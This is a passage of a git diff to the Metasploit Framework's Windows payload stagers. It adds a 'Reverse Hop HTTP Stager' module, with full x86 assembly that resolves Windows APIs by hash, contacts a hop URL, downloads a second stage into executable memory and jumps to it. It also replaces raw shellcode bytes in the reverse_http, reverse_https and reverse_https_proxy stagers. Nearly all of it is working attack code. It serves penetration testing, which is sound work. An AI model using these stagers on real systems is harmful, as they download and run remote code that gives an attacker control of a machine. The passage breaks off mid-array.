"\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30" + - "\x55\x00\x45\x49\x75\xE5\x5F\xC3" + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + + "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + + "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" + + "\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" + + "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" + + "\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" + + "\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + + "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A" + + "\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02" + + "\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\x5B\x59\x5D\x55\x57" + + "\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74" + + "\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81" + + "\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02" + + "\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31" + + "\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02" + + "\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3" } )) diff --git a/modules/payloads/stagers/windows/findtag_ord.rb b/modules/payloads/stagers/windows/findtag_ord.rb index 91e0a41607..b831e4dec0 100644 --- a/modules/payloads/stagers/windows/findtag_ord.rb +++ b/modules/payloads/stagers/windows/findtag_ord.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb new file mode 100644 index 0000000000..7b6eccdb77 --- /dev/null +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -0,0 +1,291 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'uri' +require 'msf/core' +require 'msf/core/handler/reverse_hop_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Windows + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Reverse Hop HTTP Stager', + 'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload + data/hop/hop.php to the PHP server you wish to use as a hop. + }, + 'Author' => + [ + 'scriptjunkie ', + 'hdm' + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHopHttp, + 'Convention' => 'sockedi http', + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Stager' => + { + 'Offsets' => + { + # None, they get embedded in the shellcode + } + } + )) + + deregister_options('LHOST', 'LPORT') + + register_options([ + OptString.new('HOPURL', [ true, "The full URL of the hop script", "http://example.com/hop.php" ] + ) + ], self.class) + end + + # + # Do not transmit the stage over the connection. We handle this via HTTP + # + def stage_over_connection? + false + end + + # + # Generate the first stage + # + def generate + uri = URI(datastore['HOPURL']) + #create actual payload + payload_data = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop until we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards) process next mod + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module + +; actual routine +start: + pop ebp ; get ptr to block_api routine + +; Input: EBP must be the address of 'api_call'. +; Output: EDI will be the socket for the connection to the server +; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) +load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + push esp ; Push a pointer to the "wininet" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + +internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push 0 ; NULL pointer + push esp ; LPCTSTR lpszAgent ("\x00") + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp.i8 dbl_get_server_host + +internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ecx ; password + push ecx ; username + push #{uri.port} ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp get_server_uri + +httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + +set_retry: + push 0x10 + pop ebx + +httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz allocate_memory + +try_it_again: + dec ebx + jz failure + jmp.i8 httpsendrequest + +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call httpopenrequest + +server_uri: + db "#{Rex::Text.hexify(uri.request_uri, 99999).strip}?/12345", 0x00 + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + +allocate_memory: + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (8Mb ought to do us) + push edi ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + +download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + +execute_stage: + ret ; dive into the stored stage address + +get_server_host: + call internetconnect + +server_host: +db "#{Rex::Text.hexify(uri.host, 99999).strip}", 0x00 + +EOS + self.module_info['Stager']['Assembly'] = payload_data.to_s + super + end +end diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 505f889864..6712acdeb1 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,38 +28,30 @@ module Metasploit3 'Offsets' => { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) - # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 180, 'v' ], # Not a typo, really little endian + # 'EXITFUNC' => [ 240, 'V' ], + 'LPORT' => [ 177, 'v' ], # Not a typo, really little endian }, 'Payload' => - - # Built on Tue Feb 4 11:36:42 2014 - # Name: stager_reverse_http - # Length: 317 bytes - # LEPort Offset: 180 - # ExitFunk Offset: 238 - "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + - "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + - "\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + - "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x3A\x50\x68\x57\x89\x9F\xC6" + - "\xFF\xD5\x53\x68\x00\x02\x60\x84\x53\x53\x53\xEB\x29\x53\x50\x68" + - "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x53\x53\x53\x53\x56\x68" + - "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75\xED\x68\xF0\xB5" + - "\xA2\x56\xFF\xD5\xEB\x42\xE8\xD2\xFF\xFF\xFF\x2F\x31\x32\x33\x34" + - "\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68" + - "\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00" + - "\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xBF\x8B\x07" + - "\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x7D\xFF\xFF\xFF" - - + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x6E\x65\x74\x00\x68\x77" + + "\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x6A\x08\x5F\x31\xDB" + + "\x89\xF9\x53\xE2\xFD\x68\x3A\x56\x79\xA7\xFF\xD5\x6A\x03\x53\x53" + + "\x68\x5C\x11\x00\x00\xE8\x72\x00\x00\x00\x2F\x31\x32\x33\x34\x35" + + "\x00\x50\x68\x57\x89\x9F\xC6\xFF\xD5\x68\x00\x02\x60\x84\x53\x53" + + "\x53\x57\x53\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x96\x53\x53\x53\x53" + + "\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x0A\x4F\x75\xED\x68" + + "\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00" + + "\x40\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57" + + "\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0" + + "\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\x5F\xE8\x8F\xFF" + + "\xFF\xFF" } )) end @@ -79,7 +71,13 @@ module Metasploit3 i = p.index("/12345\x00") u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00" p[i, u.length] = u - p + datastore['LHOST'].to_s + "\x00" + + lhost = datastore['LHOST'] || Rex::Socket.source_address + if Rex::Socket.is_ipv6?(lhost) + lhost = "[#{lhost}]" + end + + p + lhost + "\x00" end # diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 7c7d449b8f..60f7bbb804 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,38 +28,31 @@ module Metasploit3 'Offsets' => { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) - # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 180, 'v' ], # Not a typo, really little endian + # 'EXITFUNC' => [ 260, 'V' ], + 'LPORT' => [ 177, 'v' ], # Not a typo, really little endian }, 'Payload' => - - # Built on Tue Feb 4 11:36:42 2014 - # Name: stager_reverse_https - # Length: 337 bytes - # LEPort Offset: 180 - # ExitFunk Offset: 258 - "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + - "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + - "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + - "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + - "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + - "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x6E\x65" + - "\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31" + - "\xDB\x53\x53\x53\x53\x53\x68\x3A\x56\x79\xA7\xFF\xD5\x53\x53\x6A" + - "\x03\x53\x53\x68\x5C\x11\x00\x00\xEB\x4E\x50\x68\x57\x89\x9F\xC6" + - "\xFF\xD5\x53\x68\x00\x32\xE0\x84\x53\x53\x53\xEB\x3D\x53\x50\x68" + - "\xEB\x55\x2E\x3B\xFF\xD5\x96\x6A\x10\x5F\x68\x80\x33\x00\x00\x89" + - "\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x53\x53" + - "\x53\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x18\x4F\x75" + - "\xD9\x68\xF0\xB5\xA2\x56\xFF\xD5\xEB\x42\xE8\xBE\xFF\xFF\xFF\x2F" + - "\x31\x32\x33\x34\x35\x00\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00" + - "\x40\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57" + - "\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0" + - "\x74\xBF\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x69\xFF\xFF" + - "\xFF" + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x6E\x65\x74\x00\x68\x77" + + "\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x6A\x08\x5F\x31\xDB" + + "\x89\xF9\x53\xE2\xFD\x68\x3A\x56\x79\xA7\xFF\xD5\x6A\x03\x53\x53" + + "\x68\x5C\x11\x00\x00\xE8\x86\x00\x00\x00\x2F\x31\x32\x33\x34\x35" + + "\x00\x50\x68\x57\x89\x9F\xC6\xFF\xD5\x68\x00\x32\xE0\x84\x53\x53" + + "\x53\x57\x53\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x96\x68\x80\x33\x00" + + "\x00\x89\xE0\x6A\x04\x50\x6A\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5" + + "\x53\x53\x53\x53\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x0A" + + "\x4F\x75\xD9\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00" + + "\x00\x68\x00\x00\x40\x00\x53\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53" + + "\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2" + + "\xFF\xD5\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3" + + "\x5F\xE8\x7B\xFF\xFF\xFF" } )) diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index 72de85106c..dd9ad198ba 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,36 +26,36 @@ module Metasploit3 'Stager' => { 'Payload' => - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x48\x4F\x53\x54" + - "\x3A\x50\x4F\x52\x54\x00\x59\x31\xFF\x57\x54\x51\x6A\x03\x6A\x00" + - "\x68\x3A\x56\x79\xA7\xFF\xD5\xE9\xC4\x00\x00\x00\x5B\x31\xC9\x51" + - "\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\x53\x50\x68\x57\x89\x9F" + - "\xC6\xFF\xD5\x89\xC6\x50\x52\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F" + - "\x53\x54\x41\x52\x54\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x5F" + - "\x55\x53\x45\x52\x4E\x41\x4D\x45\x00\x59\x6A\x0F\x51\x6A\x2B\x56" + - "\x68\x75\x46\x9E\x86\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58" + - "\x59\x5F\x50\x41\x53\x53\x57\x4F\x52\x44\x00\x59\x6A\x0F\x51\x6A" + - "\x2C\x56\x68\x75\x46\x9E\x86\xFF\xD5\x50\x52\x4F\x58\x59\x5F\x41" + - "\x55\x54\x48\x5F\x53\x54\x4F\x50\xEB\x48\x59\x31\xD2\x52\x68\x00" + - "\x32\xA0\x84\x52\x52\x52\x51\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5" + - "\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A" + - "\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56" + - "\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xD5" + - "\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0" + - "\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40" + - "\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68" + - "\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74" + - "\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\xEC\xFE\xFF\xFF" + "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + + "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + + "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + + "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + + "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + + "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + + "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + + "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x6E\x65\x74\x00\x68\x77" + + "\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\xE8\x0F\x00\x00\x00" + + "\x50\x52\x4F\x58\x59\x48\x4F\x53\x54\x3A\x50\x4F\x52\x54\x00\x59" + + "\x31\xFF\x57\x54\x51\x6A\x03\x6A\x00\x68\x3A\x56\x79\xA7\xFF\xD5" + + "\xE9\xC4\x00\x00\x00\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C" + + "\x11\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\x89\xC6\x50\x52" + + "\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F\x53\x54\x41\x52\x54\xE8\x0F" + + "\x00\x00\x00\x50\x52\x4F\x58\x59\x5F\x55\x53\x45\x52\x4E\x41\x4D" + + "\x45\x00\x59\x6A\x0F\x51\x6A\x2B\x56\x68\x75\x46\x9E\x86\xFF\xD5" + + "\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x5F\x50\x41\x53\x53\x57" + + "\x4F\x52\x44\x00\x59\x6A\x0F\x51\x6A\x2C\x56\x68\x75\x46\x9E\x86" + + 